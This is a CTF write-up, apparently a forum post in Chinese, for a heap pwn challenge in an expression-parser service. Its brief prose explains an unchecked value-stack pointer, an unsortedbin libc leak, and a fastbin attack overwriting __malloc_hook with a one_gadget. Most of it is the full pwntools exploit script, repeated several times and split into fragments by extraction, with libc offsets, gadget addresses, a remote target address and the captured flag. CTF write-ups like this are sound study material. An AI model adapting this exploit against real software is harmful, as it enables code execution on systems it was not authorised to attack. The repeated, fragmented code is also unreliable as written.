-
-
[原创]第六题 兵刃相向 by k1ee
-
发表于: 2020-11-30 14:39 5585
-
一个pwn题,是我没做过的堆题,我是乱打的。
题目是一个表达式解析器,漏洞点在于reevaluate没有限制val_stack_ptr
,从而找到方法覆盖掉g_ctx.g_broken
,随后构造unsortedbin,并通过同样的方法偏移指针,拿到libc基地址。最后通过fastbin attack覆盖malloc_hook
为one gadget,拿到flag。
首先构造一个变量,用来避免后续在覆盖g_ctx.g_broken
的时候,往21个指针的地方写入错误指针
构造造成偏移的表达式
构造爆破表达式,要求有多余的23个运算符(malloc只能做15个,剩余的通过val构造为0x2A2A2A2A2A2A2A2A
,即********
来完成)
将符号a指针向前移8字节
清空前面的偏移指针,因为会被后面覆盖掉
把b替换为0,并且注意刚才的2*21*10796368769*6700417*1*1*1*b
,b在最末尾,因此运算的时候会覆盖掉前面的数,然后由于是乘以0,写入的值也会是0,如果不做这事,指针列表会变成这样
替换之后,给他内存蹭了一下,两分多钟过后,就好了,可惜b这个符号就没法free了,不过影响不大
把最后这个指针再加回8,然后释放,不过不知道这步是不是必要的,放荡一点泄露就泄露了
随后准备构造一个unsortedbin
同样的构造一个偏移-211
释放big,存入unsortedbin,新建一个pivot,结合上面的-211,指向fd,取得libc基地址,下图value是main_arena+88
选一个one_gadget,实验可知第三个符合要求
下面fastbin attack替换malloc_hook
不过在这之前把刚才的pivot给偏移回去释放了
申请两个0x5F大小的,两者相距0x70,因此同样可以前移0x70拿到释放的指针,不过这样我们就得申请3个
此时fastbin已经构造完成chunk1 -> chunk2 -> chunk1
由于下面要申请5次,但现在只有4个空位置
因此需要释放一个填充
申请3次buffer,其中第一次写入__malloc_hook-0x23
,覆盖fd
写入表达式,使得value(即__malloc_hook
)等于one_gadget
最后再次申请内存,拿到flag
完整脚本
create_symbol(
'b'
,
'1'
)
create_symbol(
'b'
,
'1'
)
create_symbol(
'minus_eight'
,
'11-1'
)
delete_symbol(
'minus_eight'
)
# 11 1 -
create_symbol(
'minus_eight'
,
'4+4'
)
# 4 4 +-
create_symbol(
'minus_eight'
,
'11-1'
)
delete_symbol(
'minus_eight'
)
# 11 1 -
create_symbol(
'minus_eight'
,
'4+4'
)
# 4 4 +-
for
i
in
range
(
18
):
create_symbol(
'pad_'
+
str
(i),
'2*3*7*257*641*65537*6700417*1*111111111111111'
)
for
i
in
range
(
15
,
0
,
-
1
):
pad_mul(
'a'
, [i])
create_symbol(
'a'
,
'2*21*10796368769*6700417*1*1*1*b'
)
for
i
in
range
(
18
):
create_symbol(
'pad_'
+
str
(i),
'2*3*7*257*641*65537*6700417*1*111111111111111'
)
for
i
in
range
(
15
,
0
,
-
1
):
pad_mul(
'a'
, [i])
create_symbol(
'a'
,
'2*21*10796368769*6700417*1*1*1*b'
)
reeval_symbol(
'minus_eight'
)
reeval_symbol(
'minus_eight'
)
delete_symbol(
'minus_eight'
)
for
i
in
range
(
18
):
delete_symbol(
'pad_'
+
str
(i))
delete_symbol(
'minus_eight'
)
for
i
in
range
(
18
):
delete_symbol(
'pad_'
+
str
(i))
delete_symbol(
'b'
)
create_symbol(
'b'
,
'0'
)
delete_symbol(
'b'
)
create_symbol(
'b'
,
'0'
)
create_symbol(
'add_eight'
,
'11+1'
)
delete_symbol(
'add_eight'
)
create_symbol(
'add_eight'
,
'4+4'
)
reeval_symbol(
'add_eight'
)
delete_symbol(
'add_eight'
)
delete_symbol(
'a'
)
create_symbol(
'add_eight'
,
'11+1'
)
delete_symbol(
'add_eight'
)
create_symbol(
'add_eight'
,
'4+4'
)
reeval_symbol(
'add_eight'
)
delete_symbol(
'add_eight'
)
delete_symbol(
'a'
)
for
i
in
range
(
18
):
create_symbol(
'pad_'
+
str
(i),
'1'
)
create_symbol(
'big'
,
'111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1'
)
for
i
in
range
(
18
):
create_symbol(
'pad_'
+
str
(i),
'1'
)
create_symbol(
'big'
,
'111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'off'
,
'111-1111'
)
delete_symbol(
'off'
)
create_symbol(
'off'
,
'104+107'
)
create_symbol(
'off'
,
'111-1111'
)
delete_symbol(
'off'
)
create_symbol(
'off'
,
'104+107'
)
create_symbol(
'pivot'
,
'1'
)
delete_symbol(
'big'
)
reeval_symbol(
'off'
)
main_arena
=
show_symbol(p64(
0
).decode())
-
88
libc_base
=
main_arena
-
0x3C4B20
one_gadget
=
libc_base
+
0xf02a4
create_symbol(
'pivot'
,
'1'
)
delete_symbol(
'big'
)
reeval_symbol(
'off'
)
main_arena
=
show_symbol(p64(
0
).decode())
-
88
libc_base
=
main_arena
-
0x3C4B20
one_gadget
=
libc_base
+
0xf02a4
attack_bin
=
main_arena
-
0x10
-
0x23
attack_bin
=
main_arena
-
0x10
-
0x23
delete_symbol(
'off'
)
create_symbol(
'off'
,
'111+1111'
)
delete_symbol(
'off'
)
create_symbol(
'off'
,
'104+107'
)
reeval_symbol(
'off'
)
for
i
in
range
(
18
):
delete_symbol(
'pad_'
+
str
(i))
delete_symbol(
'off'
)
delete_symbol(
'pivot'
)
delete_symbol(
'off'
)
create_symbol(
'off'
,
'111+1111'
)
delete_symbol(
'off'
)
create_symbol(
'off'
,
'104+107'
)
reeval_symbol(
'off'
)
for
i
in
range
(
18
):
delete_symbol(
'pad_'
+
str
(i))
delete_symbol(
'off'
)
delete_symbol(
'pivot'
)
create_symbol(
'off'
,
'111-11'
)
delete_symbol(
'off'
)
create_symbol(
'off'
,
'56+56'
)
create_symbol(
'fastbinattack2'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
for
i
in
range
(
17
):
create_symbol(
'pad_'
+
str
(i),
'111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'fastbinattack1'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'fastbinattackp'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
delete_symbol(
'fastbinattack1'
)
delete_symbol(
'fastbinattack2'
)
reeval_symbol(
'off'
)
delete_symbol(
'off'
)
#重新释放fastbinattack1
delete_symbol(p64(
0
).decode())
create_symbol(
'off'
,
'111-11'
)
delete_symbol(
'off'
)
create_symbol(
'off'
,
'56+56'
)
create_symbol(
'fastbinattack2'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
for
i
in
range
(
17
):
create_symbol(
'pad_'
+
str
(i),
'111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'fastbinattack1'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'fastbinattackp'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
delete_symbol(
'fastbinattack1'
)
delete_symbol(
'fastbinattack2'
)
reeval_symbol(
'off'
)
delete_symbol(
'off'
)
#重新释放fastbinattack1
delete_symbol(p64(
0
).decode())
delete_symbol(
'pad_0'
)
delete_symbol(
'pad_0'
)
create_symbol(p64(attack_bin),
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'skip1'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'skip2'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
create_symbol(p64(attack_bin),
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'skip1'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'skip2'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
values
=
factorint(one_gadget)
if
len
(values)
=
=
1
:
print
(
'One Gadget Not Factorable'
)
exit(
0
)
dirty_chunk
=
''
currentlen
=
0
for
i
in
values:
for
repeat
in
range
(values[i]):
dirty_chunk
+
=
str
(i)
+
'*'
currentlen
+
=
len
(
str
(i))
+
3
dirty_chunk
=
dirty_chunk[:
-
1
]
currentlen
-
=
3
targetlen
=
68
while
currentlen < targetlen:
dirty_chunk
+
=
'+1111-1111'
currentlen
+
=
14
print
(
hex
(one_gadget))
create_symbol(
'payload'
, dirty_chunk)
values
=
factorint(one_gadget)
if
len
(values)
=
=
1
:
print
(
'One Gadget Not Factorable'
)
exit(
0
)
dirty_chunk
=
''
currentlen
=
0
for
i
in
values:
for
repeat
in
range
(values[i]):
dirty_chunk
+
=
str
(i)
+
'*'
currentlen
+
=
len
(
str
(i))
+
3
dirty_chunk
=
dirty_chunk[:
-
1
]
currentlen
-
=
3
targetlen
=
68
while
currentlen < targetlen:
dirty_chunk
+
=
'+1111-1111'
currentlen
+
=
14
print
(
hex
(one_gadget))
create_symbol(
'payload'
, dirty_chunk)
conn.sendline(
'1'
)
print
(
1
)
print
(conn.recvuntil(
'Symbol name : '
).decode())
conn.sendline(
'exploit'
)
print
(
'exploit'
)
print
(conn.recvuntil(
'Expression : '
).decode())
conn.sendline(
'1+1'
)
print
(
'1+1'
)
conn.interactive()
conn.sendline(
'1'
)
print
(
1
)
print
(conn.recvuntil(
'Symbol name : '
).decode())
conn.sendline(
'exploit'
)
print
(
'exploit'
)
print
(conn.recvuntil(
'Expression : '
).decode())
conn.sendline(
'1+1'
)
print
(
'1+1'
)
conn.interactive()
flag{a1008252
-
6159
-
43f3
-
8221
-
485e923eb4d6
}
flag{a1008252
-
6159
-
43f3
-
8221
-
485e923eb4d6
}
import
os
os.environ[
'PWNLIB_NOTERM'
]
=
'True'
from
pwn
import
*
from
sympy.ntheory
import
factorint
# conn = remote('121.36.145.157', 10000)
conn
=
process(
'/home/ubuntu/ee'
)
#, env={"LD_PRELOAD" : "/home/ubuntu/libc.so.6"})
print
(
1
)
print
(conn.recvuntil(
'Your choice :'
).decode())
def
create_symbol(name, symbol):
conn.sendline(
'1'
)
print
(
1
)
print
(conn.recvuntil(
'Symbol name : '
).decode())
conn.sendline(name)
print
(name)
print
(conn.recvuntil(
'Expression : '
).decode())
conn.sendline(symbol)
print
(symbol)
print
(conn.recvuntil(
'Your choice :'
).decode())
def
delete_symbol(name):
conn.sendline(
'2'
)
print
(
2
)
print
(conn.recvuntil(
'Symbol name : '
).decode())
conn.sendline(name)
print
(name)
print
(conn.recvuntil(
'Your choice :'
).decode())
def
reeval_symbol(name):
conn.sendline(
'3'
)
print
(
3
)
print
(conn.recvuntil(
'Symbol name : '
).decode())
conn.sendline(name)
print
(name)
print
(conn.recvuntil(
'Your choice :'
).decode())
def
show_symbol(name):
conn.sendline(
'4'
)
print
(
4
)
print
(conn.recvuntil(
'Symbol name : '
).decode())
conn.sendline(name)
print
(name)
print
(conn.recvuntil(
'[*]value : '
).decode())
value
=
int
(conn.recvline().decode())
print
(
hex
(value))
print
(conn.recv(
1000
,
1
).decode())
return
value
def
pad_mul(name, l):
str
=
'2*3*7*257*641*65537*6700417*1*'
str
+
=
'1'
*
i
create_symbol(name,
str
)
delete_symbol(name)
#prevent set values on ptrs
create_symbol(
'b'
,
'1'
)
#fix g_ctx.broken
#move last ptr forward 8
create_symbol(
'minus_eight'
,
'11-1'
)
delete_symbol(
'minus_eight'
)
# 11 1 -
create_symbol(
'minus_eight'
,
'4+4'
)
# 4 4 +-
for
i
in
range
(
18
):
create_symbol(
'pad_'
+
str
(i),
'2*3*7*257*641*65537*6700417*1*111111111111111'
)
for
i
in
range
(
15
,
0
,
-
1
):
pad_mul(
'a'
, [i])
create_symbol(
'a'
,
'2*21*10796368769*6700417*1*1*1*b'
)
#move 8 forward
reeval_symbol(
'minus_eight'
)
delete_symbol(
'minus_eight'
)
for
i
in
range
(
18
):
delete_symbol(
'pad_'
+
str
(i))
delete_symbol(
'b'
)
create_symbol(
'b'
,
'0'
)
#fix broken
reeval_symbol(
'a'
)
create_symbol(
'add_eight'
,
'11+1'
)
delete_symbol(
'add_eight'
)
create_symbol(
'add_eight'
,
'4+4'
)
#move back last ptr
reeval_symbol(
'add_eight'
)
delete_symbol(
'add_eight'
)
delete_symbol(
'a'
)
for
i
in
range
(
18
):
create_symbol(
'pad_'
+
str
(i),
'1'
)
create_symbol(
'big'
,
'111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'off'
,
'111-1111'
)
delete_symbol(
'off'
)
create_symbol(
'off'
,
'104+107'
)
create_symbol(
'pivot'
,
'1'
)
delete_symbol(
'big'
)
reeval_symbol(
'off'
)
main_arena
=
show_symbol(p64(
0
).decode())
-
88
libc_base
=
main_arena
-
0x3C4B20
one_gadget
=
libc_base
+
0xf02a4
# 0x4526a
# 0xf1147
# 0xf02a4
# 0x45216
print
(
hex
(libc_base))
print
(
hex
(one_gadget))
attack_bin
=
main_arena
-
0x10
-
0x23
print
(
hex
(attack_bin))
delete_symbol(
'off'
)
create_symbol(
'off'
,
'111+1111'
)
delete_symbol(
'off'
)
create_symbol(
'off'
,
'104+107'
)
reeval_symbol(
'off'
)
for
i
in
range
(
18
):
delete_symbol(
'pad_'
+
str
(i))
delete_symbol(
'off'
)
delete_symbol(
'pivot'
)
create_symbol(
'off'
,
'111-11'
)
delete_symbol(
'off'
)
create_symbol(
'off'
,
'56+56'
)
create_symbol(
'fastbinattack2'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
for
i
in
range
(
17
):
create_symbol(
'pad_'
+
str
(i),
'111111111111111*111111111111111*111111111111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'fastbinattack1'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'fastbinattackp'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
delete_symbol(
'fastbinattack1'
)
delete_symbol(
'fastbinattack2'
)
reeval_symbol(
'off'
)
delete_symbol(
'off'
)
delete_symbol(p64(
0
).decode())
#re free fastbinattack1
delete_symbol(
'pad_0'
)
#fake fd
create_symbol(p64(attack_bin),
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'skip1'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
create_symbol(
'skip2'
,
'1*1111*11111111*111111111111111*111111111111111*111111*1'
)
values
=
factorint(one_gadget)
if
len
(values)
=
=
1
:
print
(
'One Gadget Not Factorable'
)
exit(
0
)
dirty_chunk
=
''
currentlen
=
0
for
i
in
values:
for
repeat
in
range
(values[i]):
dirty_chunk
+
=
str
(i)
+
'*'
currentlen
+
=
len
(
str
(i))
+
3
dirty_chunk
=
dirty_chunk[:
-
1
]
currentlen
-
=
3
targetlen
=
68
while
currentlen < targetlen:
dirty_chunk
+
=
'+1111-1111'
currentlen
+
=
14
print
(
hex
(one_gadget))
create_symbol(
'payload'
, dirty_chunk)
conn.sendline(
'1'
)
print
(
1
)
print
(conn.recvuntil(
'Symbol name : '
).decode())
conn.sendline(
'exploit'
)
print
(
'exploit'
)
print
(conn.recvuntil(
'Expression : '
).decode())
conn.sendline(
'1+1'
)
print
(
'1+1'
)
conn.interactive()
import
os
os.environ[
'PWNLIB_NOTERM'
]
=
'True'
from
pwn
import
*
from
sympy.ntheory
import
factorint
# conn = remote('121.36.145.157', 10000)
conn
=
process(
'/home/ubuntu/ee'
)
#, env={"LD_PRELOAD" : "/home/ubuntu/libc.so.6"})
print
(
1
)
print
(conn.recvuntil(
'Your choice :'
).decode())
def
create_symbol(name, symbol):
conn.sendline(
'1'
)
print
(
1
)
print
(conn.recvuntil(
'Symbol name : '
).decode())
conn.sendline(name)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)